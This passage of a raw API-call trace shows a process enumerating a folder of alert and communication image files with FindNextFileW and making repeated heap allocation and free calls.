ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="")) returned 1 [0078.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0078.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0870 [0078.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b89a8 [0078.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.607] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3390df00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3390df00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_AutoMask.bmp", cAlternateFileName="")) returned 1 [0078.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0890 [0078.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8ab0 [0078.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.608] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3356, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHigh.jpg", cAlternateFileName="")) returned 1 [0078.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac08b0 [0078.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8bb8 [0078.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.609] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHighMask.bmp", cAlternateFileName="")) returned 1 [0078.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac08d0 [0078.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8cc0 [0078.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x43c0) returned 0x11c8048 [0078.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.610] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLow.jpg", cAlternateFileName="")) returned 1 [0078.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac08f0 [0078.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8dc8 [0078.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.610] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLowMask.bmp", cAlternateFileName="")) returned 1 [0078.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0910 [0078.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8ed0 [0078.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.611] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc125fc00, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc125fc00, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x480d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHigh.jpg", cAlternateFileName="")) returned 1 [0078.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0930 [0078.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8fd8 [0078.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.612] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b558100, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b558100, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHighMask.bmp", cAlternateFileName="")) returned 1 [0078.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0950 [0078.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b90e0 [0078.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.613] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5eab000, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5eab000, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x46de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOff.jpg", cAlternateFileName="")) returned 1 [0078.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0970 [0078.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b91e8 [0078.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.613] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427c8f00, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x427c8f00, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOffMask.bmp", cAlternateFileName="")) returned 1 [0078.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0990 [0078.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b92f0 [0078.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.614] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b7f600, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2b7f600, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x13ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_High.jpg", cAlternateFileName="")) returned 1 [0078.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac09b0 [0078.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b93f8 [0078.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.615] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3177400, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3177400, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_HighMask.bmp", cAlternateFileName="")) returned 1 [0078.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac09d0 [0078.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9500 [0078.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefeaa500, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefeaa500, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x41de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Medium.jpg", cAlternateFileName="")) returned 1 [0078.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac09f0 [0078.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9608 [0078.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34e6d00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd34e6d00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_MediumMAsk.bmp", cAlternateFileName="")) returned 1 [0078.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0a10 [0078.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9710 [0078.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.617] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e983f00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e983f00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Off.jpg", cAlternateFileName="")) returned 1 [0078.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0a30 [0078.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9818 [0078.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.618] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x258f8e00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x258f8e00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_OffMask.bmp", cAlternateFileName="")) returned 1 [0078.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0a50 [0078.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9920 [0078.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.619] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbb75100, ftCreationTime.dwHighDateTime=0x1c9bcb4, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbb75100, ftLastWriteTime.dwHighDateTime=0x1c9bcb4, nFileSizeHigh=0x0, nFileSizeLow=0x2256, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImage.jpg", cAlternateFileName="")) returned 1 [0078.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0a70 [0078.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9a28 [0078.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.619] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d183d00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d183d00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMask.bmp", cAlternateFileName="")) returned 1 [0078.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0a90 [0078.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9b30 [0078.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.620] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMaskSmall.bmp", cAlternateFileName="")) returned 1 [0078.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0ab0 [0078.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9c38 [0078.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.621] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1de3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageSmall.jpg", cAlternateFileName="")) returned 1 [0078.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) 